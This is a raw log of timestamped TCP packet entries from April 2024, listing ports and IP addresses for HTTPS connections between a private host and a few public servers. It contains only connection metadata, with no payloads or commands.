Apr 24, 2024 15:43:06.656688929 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.656761885 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.656773090 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.656827927 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.657547951 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.657582998 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.657618999 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.657630920 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.657658100 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.678112984 CEST	49747	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:06.679601908 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.679672956 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.679692030 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.681657076 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.681674957 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.681768894 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.681781054 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.727777004 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.784847975 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.784915924 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.784965038 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.784992933 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.785079956 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.787447929 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.787491083 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.787549973 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.787564993 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.787596941 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.787631989 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.790224075 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.790298939 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.790332079 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.790344000 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.790420055 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.790457010 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.793059111 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.793200016 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.793232918 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.793241978 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.793306112 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.794692039 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.794737101 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.794791937 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.794799089 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.794842958 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.794852972 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.794898987 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.794914007 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.794936895 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.833225965 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.833281040 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.833395004 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.833632946 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.833653927 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.938519955 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.938577890 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.938654900 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.938935041 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.938956022 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.975372076 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:06.975411892 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:06.975488901 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:06.975758076 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:06.975774050 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.022356033 CEST	443	49747	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.022589922 CEST	443	49747	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.022789001 CEST	49747	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.022789001 CEST	49747	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.023420095 CEST	49751	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.023423910 CEST	49747	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.023449898 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.023525000 CEST	49751	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.023782969 CEST	49751	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.023796082 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.165997982 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.166351080 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.166415930 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.167603016 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.168275118 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.168457985 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.168544054 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.168606043 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.168690920 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.268568039 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.268963099 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.268990993 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.269428968 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.270088911 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.270158052 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.270349026 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.292965889 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.293353081 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.293366909 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.294977903 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.295083046 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.296511889 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.296602964 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.296840906 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.296849966 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.312122107 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.348150969 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.375216961 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.375566959 CEST	49751	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.375590086 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.376838923 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.377146959 CEST	49751	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.377266884 CEST	49751	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.377273083 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.377321959 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.427107096 CEST	49751	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.509011030 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509069920 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509109974 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509124041 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.509150982 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509185076 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509195089 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.509202003 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509238005 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.509403944 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509735107 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509768963 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509778976 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.509783983 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509820938 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.509824038 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509835958 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.509876013 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.510569096 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.510740042 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.510790110 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.510796070 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.510992050 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.511060953 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.511167049 CEST	49748	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.511185884 CEST	443	49748	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.634795904 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.634896040 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.634934902 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.634964943 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.634980917 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.635044098 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.635087967 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.635103941 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.635153055 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.635169029 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.635557890 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.635588884 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.635617018 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.635622978 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.635658979 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.636455059 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.636517048 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.636547089 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.636560917 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.636593103 CEST	443	49749	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.636657000 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.636657000 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.636657000 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.636657000 CEST	49749	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.651154995 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651277065 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651350975 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.651366949 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651463985 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651570082 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.651576996 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651648045 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651698112 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.651704073 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651786089 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651835918 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.651842117 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651920080 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.651971102 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.651977062 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.652338982 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.652385950 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.652391911 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.652564049 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.652614117 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.652620077 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.653129101 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.653173923 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.653199911 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.653206110 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.653254986 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.653933048 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.654134035 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.654182911 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.654189110 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.654745102 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.654778957 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.654799938 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.654805899 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.654845953 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.654848099 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.654864073 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.654905081 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.655615091 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.655690908 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.655734062 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.655740023 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.656610966 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.656662941 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.656665087 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.656675100 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.656717062 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.656723976 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.656800032 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.656847000 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.656920910 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.656936884 CEST	443	49750	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.656945944 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.656986952 CEST	49750	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.668317080 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.668396950 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.668564081 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.669524908 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.669552088 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.771717072 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.772010088 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.772098064 CEST	49751	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.772561073 CEST	49751	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:07.772568941 CEST	443	49751	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:07.824784040 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.824825048 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.824913025 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.825099945 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:07.825119972 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:07.997358084 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.997632027 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.997663021 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.999207020 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.999305010 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.999574900 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.999655008 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:07.999747992 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:07.999763012 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:08.050101995 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:08.141841888 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.142203093 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.142232895 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.143897057 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.144002914 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.144357920 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.144439936 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.144535065 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.144546986 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.194093943 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.366507053 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:08.366619110 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:08.366688967 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:08.367343903 CEST	49752	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:08.367372036 CEST	443	49752	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:08.499026060 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.499123096 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.499196053 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.499209881 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.499245882 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.499303102 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.499304056 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.499320030 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.499377966 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.499391079 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.499437094 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.499484062 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.499495029 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.500225067 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.500262976 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.500272036 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.500288010 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.500339985 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.500350952 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.501437902 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.501492023 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.501493931 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.501508951 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.501554012 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.501568079 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.501931906 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.501971960 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.501981020 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.501996040 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.502048016 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.502059937 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.502762079 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.502805948 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.502815008 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.502835989 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.502890110 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.503587008 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.503668070 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.503720045 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.503736973 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.503787041 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.503839016 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.503849983 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508081913 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508161068 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508167982 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.508189917 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508241892 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508249044 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.508260965 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508318901 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508320093 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.508331060 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508397102 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.508402109 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508414030 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508474112 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508502007 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.508514881 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508558035 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508590937 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.508601904 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508644104 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508667946 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.508678913 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508725882 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.508738995 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.508992910 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.509069920 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.509088039 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.509839058 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.509888887 CEST	49753	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.509902000 CEST	443	49753	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.536149979 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.536178112 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:08.536250114 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.536528111 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:08.536535978 CEST	443	49754	104.17.2.184	192.168.2.17
